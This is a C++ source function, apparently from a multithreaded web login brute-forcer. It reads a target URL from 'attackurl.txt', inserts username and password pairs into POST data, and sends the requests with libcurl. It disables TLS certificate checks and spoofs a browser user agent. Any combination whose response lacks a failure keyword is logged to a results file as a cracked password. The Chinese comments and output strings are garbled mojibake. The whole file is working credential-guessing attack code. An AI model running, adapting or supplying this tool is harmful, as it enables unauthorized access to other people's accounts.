void pull_one_url(UserPass obj)
{
bool m_true=
true;
transform(keyword.begin(), keyword.end(), keyword.begin(), ::tolower);
//鎵鏈塰tml浠g爜錛岃漿鍖栦負灝忓啓
while(m_true)
{
string dddddd=m_postdata;
if(dddddd.empty())
{
cout<<"postdata涓暟鎹負絀?綰跨▼椹笂閫鍑?<<endl;
return;
}
if (url.empty()||url=="")
{
cout<<"attackurl.txt涓嶅瓨鍦紝鎴杣rl鍦板潃涓虹┖"<<endl;
return;
}
CURL *curl = curl_easy_init();
string m_url=url;
string header;
string html;
struct curl_slist *slist_header = NULL;
for (
int i=0;i!=vecheader1.size();i++)
{
slist_header = curl_slist_append(slist_header,vecheader1[i].c_str());
}
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, slist_header);
//榪炴帴鏈嶅姟鍣ㄥ拰鍙戦佽姹傜殑瓚呮椂璁劇疆,鍗曚綅鏄縐?/span>
curl_easy_setopt(curl, CURLOPT_POST, 1);
//curl_easy_setopt(curl,CURLOPT_FOLLOWLOCATION,1);
curl_easy_setopt(curl,CURLOPT_TIMEOUT_MS,10000);
curl_easy_setopt(curl,CURLOPT_CONNECTTIMEOUT_MS,10000);
curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 1);
curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
if(m_url.substr(0,5)=="https")
{
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
}
curl_easy_setopt(curl, CURLOPT_DNS_CACHE_TIMEOUT, 10000);
curl_easy_setopt(curl, CURLOPT_TIMEOUT, 6000);
//curl_easy_setopt(curl, CURLOPT_VERBOSE,1);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, html_write_data);
CWork::replace(dddddd,"{0%}",obj.user.c_str());
CWork::replace(dddddd,"{1%}",obj.pass.c_str());
curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, dddddd.length()); // Content-Length:
curl_easy_setopt(curl,CURLOPT_POSTFIELDS,dddddd.c_str()); //post鎻愪氦鐨勬暟鎹?/span>
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &html);
curl_easy_setopt(curl, CURLOPT_USERAGENT,"Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0");
curl_easy_setopt(curl, CURLOPT_HEADERFUNCTION, header_write_data);
curl_easy_setopt(curl, CURLOPT_WRITEHEADER, &header);
curl_easy_perform(curl); /* ignores error */
//curl_easy_getinfo(curl,CURLINFO_SIZE_DOWNLOAD,&html_num);//榪斿洖鐨刪tml鏂囦歡澶у皬
long http_code=0;
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_code);
//curl_easy_getinfo(curl, CURLINFO_TOTAL_TIME, &m_time);//鎬昏楁椂
//curl_easy_getinfo(curl,CURLINFO_CONNECT_TIME, &connect_time);//榪炴帴鏃墮棿
//curl_easy_getinfo(curl,CURLINFO_NAMELOOKUP_TIME, &datatime);//dns鏌ヨ鏃墮棿
//curl_easy_getinfo(curl, CURLINFO_PRIMARY_IP, &IP);//ip鍦板潃
//CURLINFO_PRETRANSFER_TIME錛氫粠寤虹珛榪炴帴鍒板噯澶囦紶杈撴墍浣跨敤鐨勬椂闂達紱
//CURLINFO_STARTTRANSFER_TIME錛氫粠寤虹珛榪炴帴鍒頒紶杈撳紑濮嬫墍浣跨敤鐨勬椂闂達紱
//ptime now2 = microsec_clock::universal_time() + hours(8);
//boost::posix_time::millisec_posix_time_system_config::time_duration_type time_elapse = now2 - now1;
transform(header.begin(), header.end(), header.begin(), ::tolower);//鎵鏈塰tml浠g爜錛岃漿鍖栦負灝忓啓
transform(html.begin(), html.end(), html.begin(), ::tolower);//鎵鏈塰tml浠g爜錛岃漿鍖栦負灝忓啓
//鍦ㄨ繖閲屽html浠g爜榪涜杞爜,濡傛灉鏄痷tf8灝辮漿gb2312
if(header.find("utf")!=-1)
{
string gb2312html;
CWork::Utf8ToGb2312(html.c_str(),gb2312html);
html=gb2312html;
}
if (http_code==200||http_code==302)
{
if (html.find(keyword)==-1)
{
szCount++;
boost::mutex::scoped_lock lock(io_mutex);
ofstream out(result,ios::app);
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_GREEN);
out<<"鎭枩!!! 鐢ㄦ埛鍚?"<<obj.user<<" 瀵嗙爜:"<<obj.pass<<endl;
cout<<"http鐘舵?<<http_code<<"瀵嗙爜鐮磋В鎴愬姛1涓?nbsp; username:"<<obj.user<<" password:"<<obj.pass<<endl;
out.close();
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
}
else
{
boost::mutex::scoped_lock lock(io_mutex);
cout<<"瀵嗙爜閿欒"<<" 綰跨▼ID: "<<boost::this_thread::get_id()<<" http_code:"<<setw(3)<<http_code<<" 鐢ㄦ埛鍚?"<<obj.user<<" 瀵嗙爜:"<<obj.pass<<endl;
}
}
else
{
if(http_code==0)
{
boost::mutex::scoped_lock lock(io_mutex);
cout<<"瓚呮椂椹笂閲嶆柊榪炴帴"<<"鐢ㄦ埛鍚?"<<obj.user<<" 瀵嗙爜:"<<obj.pass<<endl;
curl_easy_cleanup(curl);
continue;
}
boost::mutex::scoped_lock lock(io_mutex);
cout<<"瀵嗙爜閿欒"<<" 綰跨▼ID: "<<boost::this_thread::get_id()<<" http_code:"<<http_code<<" 鐢ㄦ埛鍚?"<<obj.user<<" 瀵嗙爜:"<<obj.pass<<endl;
}
m_true=false;
curl_easy_cleanup(curl);
sz_html=html;
sz_head=header;
}
}
